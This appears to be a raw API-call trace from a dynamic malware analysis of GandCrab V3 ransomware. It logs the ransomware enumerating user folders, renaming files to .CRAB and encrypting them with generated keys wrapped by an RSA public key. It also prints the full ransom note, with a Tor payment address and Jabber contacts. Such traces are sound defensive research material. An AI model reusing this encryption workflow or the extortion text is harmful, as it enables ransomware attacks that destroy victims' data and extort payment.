	[0108.716] lstrcmpW (lpString1="Local", lpString2="..") returned 1
	[0108.716] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="Local" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local"
	[0108.716] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\"
	[0108.716] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.716] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0108.716] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0108.716] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0108.716] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0108.716] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.716] FindNextFileW (in: hFindFile=0xd80120, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0108.716] lstrcmpW (lpString1="LocalLow", lpString2=".") returned 1
	[0108.716] lstrcmpW (lpString1="LocalLow", lpString2="..") returned 1
	[0108.716] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="LocalLow" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow"
	[0108.716] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\LocalLow\\"
	[0108.716] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.716] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0108.716] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0108.716] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0108.716] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0108.716] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.717] FindNextFileW (in: hFindFile=0xd80120, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0108.717] lstrcmpW (lpString1="Roaming", lpString2=".") returned 1
	[0108.717] lstrcmpW (lpString1="Roaming", lpString2="..") returned 1
	[0108.717] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="Roaming" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming"
	[0108.717] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\"
	[0108.717] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.717] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0108.717] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0108.717] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0108.717] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0108.717] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.717] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0108.717] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0108.717] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0108.717] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0108.717] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0108.717] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0108.717] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.717] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\\\CRAB-DECRYPT.txt") returned 55
	[0108.717] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0108.718] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0108.718] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0108.718] CloseHandle (hObject=0x3e8) returned 1
	[0108.719] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.719] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\") returned 38
	[0108.719] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\*"
	[0108.719] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0xd805a0
	[0108.719] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0108.719] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0108.719] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0108.719] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0108.719] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0108.719] lstrcmpW (lpString1="0e --Sjj8.png", lpString2=".") returned 1
	[0108.719] lstrcmpW (lpString1="0e --Sjj8.png", lpString2="..") returned 1
	[0108.719] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="0e --Sjj8.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\0e --Sjj8.png") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\0e --Sjj8.png"
	[0108.719] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.719] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\0e --Sjj8.png") returned 51
	[0108.719] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\0e --Sjj8.png") returned 51
	[0108.719] lstrlenW (lpString=".png") returned 4
	[0108.719] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.720] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".png ") returned 5
	[0108.720] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.720] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\0e --Sjj8.png") returned 51
	[0108.720] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\0e --Sjj8.png") returned 51
	[0108.720] lstrcmpiW (lpString1="0e --Sjj8.png", lpString2="desktop.ini") returned -1
	[0108.720] lstrcmpiW (lpString1="0e --Sjj8.png", lpString2="autorun.inf") returned -1
	[0108.720] lstrcmpiW (lpString1="0e --Sjj8.png", lpString2="ntuser.dat") returned -1
	[0108.720] lstrcmpiW (lpString1="0e --Sjj8.png", lpString2="iconcache.db") returned -1
	[0108.720] lstrcmpiW (lpString1="0e --Sjj8.png", lpString2="bootsect.bak") returned -1
	[0108.720] lstrcmpiW (lpString1="0e --Sjj8.png", lpString2="boot.ini") returned -1
	[0108.720] lstrcmpiW (lpString1="0e --Sjj8.png", lpString2="ntuser.dat.log") returned -1
	[0108.720] lstrcmpiW (lpString1="0e --Sjj8.png", lpString2="thumbs.db") returned -1
	[0108.720] lstrcmpiW (lpString1="0e --Sjj8.png", lpString2="CRAB-DECRYPT.txt") returned -1
	[0108.720] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.720] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\0e --Sjj8.png.CRAB") returned 56
	[0108.720] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\0e --Sjj8.png" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\0e --sjj8.png")) returned 0x20
	[0108.720] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\0e --Sjj8.png", dwFileAttributes=0x20) returned 1
	[0108.721] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\0e --Sjj8.png" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\0e --sjj8.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\0e --Sjj8.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\0e --sjj8.png.crab")) returned 1
	[0108.721] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0108.721] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\0e --Sjj8.png.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\0e --Sjj8.png.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\0e --Sjj8.png.CRAB"
	[0108.721] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\0e --Sjj8.png.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\0e --Sjj8.png.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\0e --Sjj8.png.CRAB.CRAB"
	[0108.721] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6ed98) returned 1
	[0108.722] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0108.722] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0108.722] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0108.722] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0108.722] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0108.722] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.723] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e5a0) returned 1
	[0108.723] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0108.723] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0108.723] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0108.723] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0108.723] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0108.723] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.724] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0108.724] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0108.724] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e5a0) returned 1
	[0108.724] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd7ff20) returned 1
	[0108.724] CryptGetKeyParam (in: hKey=0xd7ff20, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0108.724] CryptEncrypt (in: hKey=0xd7ff20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0108.725] GetLastError () returned 0x0
	[0108.725] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0108.725] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0108.725] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd805e0) returned 1
	[0108.725] CryptGetKeyParam (in: hKey=0xd805e0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0108.725] CryptEncrypt (in: hKey=0xd805e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0108.725] GetLastError () returned 0x0
	[0108.725] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0108.725] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\0e --Sjj8.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\0e --sjj8.png.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0108.726] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0108.726] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0108.726] ReadFile (in: hFile=0x3ec, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314c9c4*=0x77c5, lpOverlapped=0x0) returned 1
	[0108.786] VirtualAlloc (lpAddress=0x0, dwSize=0x77d0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0108.786] VirtualAlloc (lpAddress=0x0, dwSize=0x77d0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0108.787] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.787] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff883b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.787] WriteFile (in: hFile=0x3ec, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x77d0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314c9b4*=0x77d0, lpOverlapped=0x0) returned 1
	[0108.787] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.788] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.790] WriteFile (in: hFile=0x3ec, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0108.791] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0108.791] WriteFile (in: hFile=0x3ec, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0108.791] CloseHandle (hObject=0x3ec) returned 1
	[0108.794] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.795] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.795] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.795] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.795] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.796] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.796] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0108.796] lstrcmpW (lpString1="3-ups.jpg", lpString2=".") returned 1
	[0108.796] lstrcmpW (lpString1="3-ups.jpg", lpString2="..") returned 1
	[0108.796] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="3-ups.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3-ups.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3-ups.jpg"
	[0108.796] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0108.796] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3-ups.jpg") returned 47
	[0108.796] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3-ups.jpg") returned 47
	[0108.796] lstrlenW (lpString=".jpg") returned 4
	[0108.796] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.796] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jpg ") returned 5
	[0108.797] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.797] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3-ups.jpg") returned 47
	[0108.797] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3-ups.jpg") returned 47
	[0108.797] lstrcmpiW (lpString1="3-ups.jpg", lpString2="desktop.ini") returned -1
	[0108.797] lstrcmpiW (lpString1="3-ups.jpg", lpString2="autorun.inf") returned -1
	[0108.797] lstrcmpiW (lpString1="3-ups.jpg", lpString2="ntuser.dat") returned -1
	[0108.797] lstrcmpiW (lpString1="3-ups.jpg", lpString2="iconcache.db") returned -1
	[0108.797] lstrcmpiW (lpString1="3-ups.jpg", lpString2="bootsect.bak") returned -1
	[0108.797] lstrcmpiW (lpString1="3-ups.jpg", lpString2="boot.ini") returned -1
	[0108.797] lstrcmpiW (lpString1="3-ups.jpg", lpString2="ntuser.dat.log") returned -1
	[0108.797] lstrcmpiW (lpString1="3-ups.jpg", lpString2="thumbs.db") returned -1
	[0108.797] lstrcmpiW (lpString1="3-ups.jpg", lpString2="CRAB-DECRYPT.txt") returned -1
	[0108.797] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0108.797] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3-ups.jpg.CRAB") returned 52
	[0108.797] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3-ups.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\3-ups.jpg")) returned 0x20
	[0108.798] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3-ups.jpg", dwFileAttributes=0x20) returned 1
	[0108.798] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3-ups.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\3-ups.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3-ups.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\3-ups.jpg.crab")) returned 1
	[0108.799] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0108.799] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3-ups.jpg.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3-ups.jpg.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3-ups.jpg.CRAB"
	[0108.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3-ups.jpg.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3-ups.jpg.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\3-ups.jpg.CRAB.CRAB"
	[0108.799] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0108.800] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0108.800] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0108.800] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0108.800] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0108.800] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0108.800] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.801] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e6b0) returned 1
	[0108.801] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0108.801] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0108.802] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0108.802] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0108.802] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0108.802] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0108.802] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0108.802] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0108.803] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0108.803] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd7ffa0) returned 1
	[0108.803] CryptGetKeyParam (in: hKey=0xd7ffa0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
